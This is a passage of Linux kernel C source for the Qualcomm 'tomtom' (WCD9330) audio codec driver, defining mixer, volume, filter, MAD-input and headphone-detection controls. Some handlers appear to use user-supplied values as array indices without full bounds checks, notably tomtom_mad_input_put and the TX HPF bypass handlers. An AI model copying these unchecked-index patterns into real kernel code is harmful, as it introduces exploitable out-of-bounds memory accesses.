SOC_DAPM_ENUM("CLASS_H_DSM MUX Mux", class_h_dsm_enum);
static const char * const rx1_interp_text[] = {
"ZERO", "RX1 MIX2"
};
static const struct soc_enum rx1_interp_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CLK_RX_B1_CTL, 0, 2, rx1_interp_text);
static const struct snd_kcontrol_new rx1_interp_mux =
SOC_DAPM_ENUM("RX1 INTERP MUX Mux", rx1_interp_enum);
static const char * const rx2_interp_text[] = {
"ZERO", "RX2 MIX2"
};
static const struct soc_enum rx2_interp_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CLK_RX_B1_CTL, 1, 2, rx2_interp_text);
static const struct snd_kcontrol_new rx2_interp_mux =
SOC_DAPM_ENUM("RX2 INTERP MUX Mux", rx2_interp_enum);
static const char *const tomtom_conn_mad_text[] = {
"ADC_MB", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5", "ADC6", "NOTUSED1",
"DMIC1", "DMIC2", "DMIC3", "DMIC4", "DMIC5", "DMIC6", "NOTUSED2",
"NOTUSED3"};
static const struct soc_enum tomtom_conn_mad_enum =
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(tomtom_conn_mad_text),
tomtom_conn_mad_text);
static int tomtom_mad_input_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 tomtom_mad_input;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
tomtom_mad_input = snd_soc_read(codec, TOMTOM_A_CDC_MAD_INP_SEL);
tomtom_mad_input = tomtom_mad_input & 0x0F;
ucontrol->value.integer.value[0] = tomtom_mad_input;
pr_debug("%s: tomtom_mad_input = %s\n", __func__,
tomtom_conn_mad_text[tomtom_mad_input]);
return 0;
}
static int tomtom_mad_input_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 tomtom_mad_input;
u16 micb_int_reg, micb_4_int_reg;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct snd_soc_card *card = codec->card;
char mad_amic_input_widget[6];
u32 adc;
const char *mad_input_widget;
const char *source_widget = NULL;
u32 mic_bias_found = 0;
u32 i;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
int ret = 0;
char *mad_input;
tomtom_mad_input = ucontrol->value.integer.value[0];
micb_4_int_reg = tomtom->resmgr.reg_addr->micb_4_int_rbias;
pr_debug("%s: tomtom_mad_input = %s\n", __func__,
tomtom_conn_mad_text[tomtom_mad_input]);
if (!strcmp(tomtom_conn_mad_text[tomtom_mad_input], "NOTUSED1") ||
!strcmp(tomtom_conn_mad_text[tomtom_mad_input], "NOTUSED2") ||
!strcmp(tomtom_conn_mad_text[tomtom_mad_input], "NOTUSED3") ||
!strcmp(tomtom_conn_mad_text[tomtom_mad_input], "ADC_MB")) {
pr_info("%s: tomtom mad input is set to unsupported input = %s\n",
__func__, tomtom_conn_mad_text[tomtom_mad_input]);
return -EINVAL;
}
if (strnstr(tomtom_conn_mad_text[tomtom_mad_input],
"ADC", sizeof("ADC"))) {
mad_input = strpbrk(tomtom_conn_mad_text[tomtom_mad_input],
"123456");
if (!mad_input) {
dev_err(codec->dev, "%s: Invalid MAD input %s\n",
__func__, tomtom_conn_mad_text[tomtom_mad_input]);
return -EINVAL;
}
ret = kstrtouint(mad_input, 10, &adc);
if ((ret < 0) || (adc > 6)) {
pr_err("%s: Invalid ADC = %s\n", __func__,
tomtom_conn_mad_text[tomtom_mad_input]);
ret = -EINVAL;
}
snprintf(mad_amic_input_widget, 6, "%s%u", "AMIC", adc);
mad_input_widget = mad_amic_input_widget;
pr_debug("%s: tomtom amic input widget = %s\n", __func__,
mad_amic_input_widget);
} else {
/* DMIC type input widget*/
mad_input_widget = tomtom_conn_mad_text[tomtom_mad_input];
}
pr_debug("%s: tomtom input widget = %s\n", __func__, mad_input_widget);
for (i = 0; i < card->num_dapm_routes; i++) {
if (!strcmp(card->dapm_routes[i].sink, mad_input_widget)) {
source_widget = card->dapm_routes[i].source;
if (!source_widget) {
dev_err(codec->dev,
"%s: invalid source widget\n",
__func__);
return -EINVAL;
}
if (strnstr(source_widget,
"MIC BIAS1", sizeof("MIC BIAS1"))) {
mic_bias_found = 1;
micb_int_reg = TOMTOM_A_MICB_1_INT_RBIAS;
break;
} else if (strnstr(source_widget,
"MIC BIAS2", sizeof("MIC BIAS2"))) {
mic_bias_found = 2;
micb_int_reg = TOMTOM_A_MICB_2_INT_RBIAS;
break;
} else if (strnstr(source_widget,
"MIC BIAS3", sizeof("MIC BIAS3"))) {
mic_bias_found = 3;
micb_int_reg = TOMTOM_A_MICB_3_INT_RBIAS;
break;
} else if (strnstr(source_widget,
"MIC BIAS4", sizeof("MIC BIAS4"))) {
mic_bias_found = 4;
micb_int_reg = micb_4_int_reg;
break;
}
}
}
if (mic_bias_found) {
pr_debug("%s: source mic bias = %s. sink = %s\n", __func__,
card->dapm_routes[i].source,
card->dapm_routes[i].sink);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_INP_SEL,
0x0F, tomtom_mad_input);
snd_soc_update_bits(codec, TOMTOM_A_MAD_ANA_CTRL,
0x07, mic_bias_found);
/* Setup internal micbias */
if (strnstr(source_widget, "Internal1", strlen(source_widget)))
snd_soc_update_bits(codec,
micb_int_reg,
0xE0, 0xE0);
else if (strnstr(source_widget, "Internal2",
strlen(source_widget)))
snd_soc_update_bits(codec,
micb_int_reg,
0x1C, 0x1C);
else if (strnstr(source_widget, "Internal3",
strlen(source_widget)))
snd_soc_update_bits(codec,
micb_int_reg,
0x3, 0x3);
else
/*
* If not internal, make sure to write the
* register to default value
*/
snd_soc_write(codec, micb_int_reg, 0x24);
return 0;
} else {
pr_err("%s: mic bias source not found for input = %s\n",
__func__, mad_input_widget);
return -EINVAL;
}
}
static int tomtom_tx_hpf_bypass_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u32 tx_index;
tx_index = (u32)kcontrol->private_value;
if (tx_index > NUM_DECIMATORS) {
pr_err("%s: Invalid TX decimator %d\n", __func__,
tx_index);
return -EINVAL;
}
ucontrol->value.integer.value[0] =
tx_hpf_work[tx_index-1].tx_hpf_bypass;
return 0;
}
static int tomtom_tx_hpf_bypass_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
bool tx_hpf_bypass_cfg;
u32 tx_index;
tx_hpf_bypass_cfg = (bool)ucontrol->value.integer.value[0];
pr_debug("%s: tx_hpf_bypass = %d\n", __func__,
tx_hpf_bypass_cfg);
tx_index = (u32)kcontrol->private_value;
if (tx_index > NUM_DECIMATORS) {
pr_err("%s: Invalid TX decimator %d\n", __func__,
tx_index);
return -EINVAL;
}
if (tx_hpf_work[tx_index-1].tx_hpf_bypass != tx_hpf_bypass_cfg)
tx_hpf_work[tx_index-1].tx_hpf_bypass = tx_hpf_bypass_cfg;
pr_debug("%s: Set TX%d HPF bypass configuration %d",
__func__, tx_index,
tx_hpf_work[tx_index-1].tx_hpf_bypass);
return 0;
}
static const struct snd_kcontrol_new tomtom_snd_controls[] = {
SOC_SINGLE_SX_TLV("RX1 Digital Volume", TOMTOM_A_CDC_RX1_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX2 Digital Volume", TOMTOM_A_CDC_RX2_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX3 Digital Volume", TOMTOM_A_CDC_RX3_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX4 Digital Volume", TOMTOM_A_CDC_RX4_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX5 Digital Volume", TOMTOM_A_CDC_RX5_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX6 Digital Volume", TOMTOM_A_CDC_RX6_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX7 Digital Volume", TOMTOM_A_CDC_RX7_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("RX8 Digital Volume", TOMTOM_A_CDC_RX8_VOL_CTL_B2_CTL,
0, -84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC1 Volume", TOMTOM_A_CDC_TX1_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC2 Volume", TOMTOM_A_CDC_TX2_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC3 Volume", TOMTOM_A_CDC_TX3_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC4 Volume", TOMTOM_A_CDC_TX4_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC5 Volume", TOMTOM_A_CDC_TX5_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC6 Volume", TOMTOM_A_CDC_TX6_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC7 Volume", TOMTOM_A_CDC_TX7_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC8 Volume", TOMTOM_A_CDC_TX8_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC9 Volume", TOMTOM_A_CDC_TX9_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("DEC10 Volume", TOMTOM_A_CDC_TX10_VOL_CTL_GAIN, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR1 INP1 Volume", TOMTOM_A_CDC_IIR1_GAIN_B1_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR1 INP2 Volume", TOMTOM_A_CDC_IIR1_GAIN_B2_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR1 INP3 Volume", TOMTOM_A_CDC_IIR1_GAIN_B3_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR1 INP4 Volume", TOMTOM_A_CDC_IIR1_GAIN_B4_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR2 INP1 Volume", TOMTOM_A_CDC_IIR2_GAIN_B1_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR2 INP2 Volume", TOMTOM_A_CDC_IIR2_GAIN_B2_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR2 INP3 Volume", TOMTOM_A_CDC_IIR2_GAIN_B3_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_SX_TLV("IIR2 INP4 Volume", TOMTOM_A_CDC_IIR2_GAIN_B4_CTL, 0,
-84, 40, digital_gain),
SOC_SINGLE_EXT("ANC Slot", SND_SOC_NOPM, 0, 100, 0, tomtom_get_anc_slot,
tomtom_put_anc_slot),
SOC_ENUM_EXT("ANC Function", tomtom_anc_func_enum, tomtom_get_anc_func,
tomtom_put_anc_func),
SOC_ENUM("TX1 HPF cut off", cf_dec1_enum),
SOC_ENUM("TX2 HPF cut off", cf_dec2_enum),
SOC_ENUM("TX3 HPF cut off", cf_dec3_enum),
SOC_ENUM("TX4 HPF cut off", cf_dec4_enum),
SOC_ENUM("TX5 HPF cut off", cf_dec5_enum),
SOC_ENUM("TX6 HPF cut off", cf_dec6_enum),
SOC_ENUM("TX7 HPF cut off", cf_dec7_enum),
SOC_ENUM("TX8 HPF cut off", cf_dec8_enum),
SOC_ENUM("TX9 HPF cut off", cf_dec9_enum),
SOC_ENUM("TX10 HPF cut off", cf_dec10_enum),
SOC_SINGLE_BOOL_EXT("TX1 HPF Switch", 1,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX2 HPF Switch", 2,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX3 HPF Switch", 3,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX4 HPF Switch", 4,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX5 HPF Switch", 5,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX6 HPF Switch", 6,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX7 HPF Switch", 7,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX8 HPF Switch", 8,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX9 HPF Switch", 9,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE_BOOL_EXT("TX10 HPF Switch", 10,
tomtom_tx_hpf_bypass_get,
tomtom_tx_hpf_bypass_put),
SOC_SINGLE("RX1 HPF Switch", TOMTOM_A_CDC_RX1_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX2 HPF Switch", TOMTOM_A_CDC_RX2_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX3 HPF Switch", TOMTOM_A_CDC_RX3_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX4 HPF Switch", TOMTOM_A_CDC_RX4_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX5 HPF Switch", TOMTOM_A_CDC_RX5_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX6 HPF Switch", TOMTOM_A_CDC_RX6_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX7 HPF Switch", TOMTOM_A_CDC_RX7_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX8 HPF Switch", TOMTOM_A_CDC_RX8_B5_CTL, 2, 1, 0),
SOC_ENUM("RX1 HPF cut off", cf_rxmix1_enum),
SOC_ENUM("RX2 HPF cut off", cf_rxmix2_enum),
SOC_ENUM("RX3 HPF cut off", cf_rxmix3_enum),
SOC_ENUM("RX4 HPF cut off", cf_rxmix4_enum),
SOC_ENUM("RX5 HPF cut off", cf_rxmix5_enum),
SOC_ENUM("RX6 HPF cut off", cf_rxmix6_enum),
SOC_ENUM("RX7 HPF cut off", cf_rxmix7_enum),
SOC_ENUM("RX8 HPF cut off", cf_rxmix8_enum),
SOC_SINGLE_EXT("IIR1 Enable Band1", IIR1, BAND1, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band2", IIR1, BAND2, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band3", IIR1, BAND3, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band4", IIR1, BAND4, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band5", IIR1, BAND5, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band1", IIR2, BAND1, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band2", IIR2, BAND2, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band3", IIR2, BAND3, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band4", IIR2, BAND4, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band5", IIR2, BAND5, 1, 0,
tomtom_get_iir_enable_audio_mixer, tomtom_put_iir_enable_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band1", IIR1, BAND1, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band2", IIR1, BAND2, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band3", IIR1, BAND3, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band4", IIR1, BAND4, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band5", IIR1, BAND5, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band1", IIR2, BAND1, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band2", IIR2, BAND2, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band3", IIR2, BAND3, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band4", IIR2, BAND4, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band5", IIR2, BAND5, 255, 0, 5,
tomtom_get_iir_band_audio_mixer, tomtom_put_iir_band_audio_mixer),
SOC_SINGLE_EXT("COMP0 Switch", SND_SOC_NOPM, COMPANDER_0, 1, 0,
tomtom_get_compander, tomtom_set_compander),
SOC_SINGLE_EXT("COMP1 Switch", SND_SOC_NOPM, COMPANDER_1, 1, 0,
tomtom_get_compander, tomtom_set_compander),
SOC_SINGLE_EXT("COMP2 Switch", SND_SOC_NOPM, COMPANDER_2, 1, 0,
tomtom_get_compander, tomtom_set_compander),
SOC_ENUM_EXT("MAD Input", tomtom_conn_mad_enum,
tomtom_mad_input_get, tomtom_mad_input_put),
};
static int tomtom_pa_gain_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 ear_pa_gain;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
ear_pa_gain = snd_soc_read(codec, TOMTOM_A_RX_EAR_GAIN);
ear_pa_gain = ear_pa_gain >> 5;
ucontrol->value.integer.value[0] = ear_pa_gain;
pr_debug("%s: ear_pa_gain = 0x%x\n", __func__, ear_pa_gain);
return 0;
}
static int tomtom_pa_gain_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 ear_pa_gain;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
pr_debug("%s: ucontrol->value.integer.value[0] = %ld\n", __func__,
ucontrol->value.integer.value[0]);
ear_pa_gain = ucontrol->value.integer.value[0] << 5;
snd_soc_update_bits(codec, TOMTOM_A_RX_EAR_GAIN, 0xE0, ear_pa_gain);
return 0;
}
static const char * const tomtom_1_x_ear_pa_gain_text[] = {
"POS_6_DB", "POS_4P5_DB", "POS_3_DB", "POS_1P5_DB",
"POS_0_DB", "NEG_2P5_DB", "UNDEFINED", "NEG_12_DB"
};
static const struct soc_enum tomtom_1_x_ear_pa_gain_enum =
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(tomtom_1_x_ear_pa_gain_text),
tomtom_1_x_ear_pa_gain_text);
static const struct snd_kcontrol_new tomtom_1_x_analog_gain_controls[] = {
SOC_ENUM_EXT("EAR PA Gain", tomtom_1_x_ear_pa_gain_enum,
tomtom_pa_gain_get, tomtom_pa_gain_put),
SOC_SINGLE_TLV("HPHL Volume", TOMTOM_A_RX_HPH_L_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("HPHR Volume", TOMTOM_A_RX_HPH_R_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT1 Volume", TOMTOM_A_RX_LINE_1_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT2 Volume", TOMTOM_A_RX_LINE_2_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT3 Volume", TOMTOM_A_RX_LINE_3_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT4 Volume", TOMTOM_A_RX_LINE_4_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("SPK DRV Volume", TOMTOM_A_SPKR_DRV1_GAIN, 3, 8, 1,
line_gain),
SOC_SINGLE_TLV("SPK DRV2 Volume", TOMTOM_A_SPKR_DRV2_GAIN, 3, 8, 1,
line_gain),
SOC_SINGLE_TLV("ADC1 Volume", TOMTOM_A_TX_1_GAIN, 2, 19, 0,
analog_gain),
SOC_SINGLE_TLV("ADC2 Volume", TOMTOM_A_TX_2_GAIN, 2, 19, 0,
analog_gain),
SOC_SINGLE_TLV("ADC3 Volume", TOMTOM_A_TX_3_GAIN, 2, 19, 0,
analog_gain),
SOC_SINGLE_TLV("ADC4 Volume", TOMTOM_A_TX_4_GAIN, 2, 19, 0,
analog_gain),
SOC_SINGLE_TLV("ADC5 Volume", TOMTOM_A_TX_5_GAIN, 2, 19, 0,
analog_gain),
SOC_SINGLE_TLV("ADC6 Volume", TOMTOM_A_TX_6_GAIN, 2, 19, 0,
analog_gain),
};
static int tomtom_hph_impedance_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
uint32_t zl, zr;
bool hphr;
struct soc_multi_mixer_control *mc;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
mc = (struct soc_multi_mixer_control *)(kcontrol->private_value);
hphr = mc->shift;
wcd9xxx_mbhc_get_impedance(&priv->mbhc, &zl, &zr);
pr_debug("%s: zl %u, zr %u\n", __func__, zl, zr);
ucontrol->value.integer.value[0] = hphr ? zr : zl;
return 0;
}
static const struct snd_kcontrol_new impedance_detect_controls[] = {
SOC_SINGLE_EXT("HPHL Impedance", 0, 0, UINT_MAX, 0,
tomtom_hph_impedance_get, NULL),
SOC_SINGLE_EXT("HPHR Impedance", 0, 1, UINT_MAX, 0,
tomtom_hph_impedance_get, NULL),
};
static int tomtom_get_hph_type(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_mbhc *mbhc;
if (!priv) {
pr_debug("%s: wcd9330 private data is NULL\n", __func__);
return 0;
}
mbhc = &priv->mbhc;
if (!mbhc) {
pr_debug("%s: mbhc not initialized\n", __func__);
return 0;
}
ucontrol->value.integer.value[0] = (u32) mbhc->hph_type;
pr_debug("%s: hph_type = %u\n", __func__, mbhc->hph_type);
return 0;
}
static const struct snd_kcontrol_new hph_type_detect_controls[] = {
SOC_SINGLE_EXT("HPH Type", 0, 0, UINT_MAX, 0,
tomtom_get_hph_type, NULL),
};
static const char * const rx_mix1_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2", "RX1", "RX2", "RX3", "RX4",
"RX5", "RX6", "RX7"
};
static const char * const rx8_mix1_text[] = {
"ZERO", "IIR1", "IIR2", "RX1", "RX2", "RX3", "RX4",
"RX5", "RX6", "RX7", "RX8"
};
static const char * const rx_mix2_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2"
};
static const char * const rx_rdac5_text[] = {
"DEM4", "DEM3_INV"
};
static const char * const rx_rdac7_text[] = {
"DEM6", "DEM5_INV"
};
static const char * const mad_sel_text[] = {
"SPE", "MSM"
};
static const char * const sb_tx1_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC1", "RMIX8"
};
static const char * const sb_tx2_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC2", "RMIX8"
};
static const char * const sb_tx3_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC3", "RMIX8"
};
static const char * const sb_tx4_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC4", "RMIX8"
};
static const char * const sb_tx5_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC5", "RMIX8"
};
static const char * const sb_tx6_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC6", "RMIX8"
};
static const char * const sb_tx7_to_tx10_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4", "RMIX5", "RMIX6", "RMIX7",
"DEC1", "DEC2", "DEC3", "DEC4", "DEC5", "DEC6", "DEC7", "DEC8",
"DEC9", "DEC10"
};
static const char * const dec1_mux_text[] = {
"ZERO", "DMIC1", "ADC6",
};
static const char * const dec2_mux_text[] = {
"ZERO", "DMIC2", "ADC5",
};
static const char * const dec3_mux_text[] = {
"ZERO", "DMIC3", "ADC4",
};
static const char * const dec4_mux_text[] = {
"ZERO", "DMIC4", "ADC3",
};
static const char * const dec5_mux_text[] = {
"ZERO", "DMIC5", "ADC2",
};
static const char * const dec6_mux_text[] = {
"ZERO", "DMIC6", "ADC1",
};
static const char * const dec7_mux_text[] = {
"ZERO", "DMIC1", "DMIC6", "ADC1", "ADC6", "ANC1_FB", "ANC2_FB",
};
static const char * const dec8_mux_text[] = {
"ZERO", "DMIC2", "DMIC5", "ADC2", "ADC5", "ANC1_FB", "ANC2_FB",
};
static const char * const dec9_mux_text[] = {
"ZERO", "DMIC4", "DMIC5", "ADC2", "ADC3", "ADCMB", "ANC1_FB", "ANC2_FB",
};
static const char * const dec10_mux_text[] = {
"ZERO", "DMIC3", "DMIC6", "ADC1", "ADC4", "ADCMB", "ANC1_FB", "ANC2_FB",
};
static const char * const anc_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5", "ADC6", "ADC_MB",
"RSVD_1", "DMIC1", "DMIC2", "DMIC3", "DMIC4", "DMIC5", "DMIC6"
};
static const char * const anc1_fb_mux_text[] = {
"ZERO", "EAR_HPH_L", "EAR_LINE_1",
};
static const char * const iir_inp1_text[] = {
"ZERO", "DEC1", "DEC2", "DEC3", "DEC4", "DEC5", "DEC6", "DEC7", "DEC8",
"DEC9", "DEC10", "RX1", "RX2", "RX3", "RX4", "RX5", "RX6", "RX7"
};
static const char * const iir_inp2_text[] = {
"ZERO", "DEC1", "DEC2", "DEC3", "DEC4", "DEC5", "DEC6", "DEC7", "DEC8",
"DEC9", "DEC10", "RX1", "RX2", "RX3", "RX4", "RX5", "RX6", "RX7"
};
static const char * const iir_inp3_text[] = {
"ZERO", "DEC1", "DEC2", "DEC3", "DEC4", "DEC5", "DEC6", "DEC7", "DEC8",
"DEC9", "DEC10", "RX1", "RX2", "RX3", "RX4", "RX5", "RX6", "RX7"
};
static const char * const iir_inp4_text[] = {
"ZERO", "DEC1", "DEC2", "DEC3", "DEC4", "DEC5", "DEC6", "DEC7", "DEC8",
"DEC9", "DEC10", "RX1", "RX2", "RX3", "RX4", "RX5", "RX6", "RX7"
};
static const struct soc_enum rx_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX1_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX1_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX1_B2_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx2_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX2_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx2_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX2_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx3_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX3_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx3_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX3_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx4_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX4_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx4_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX4_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx5_mix1_inp1_chain_enum =
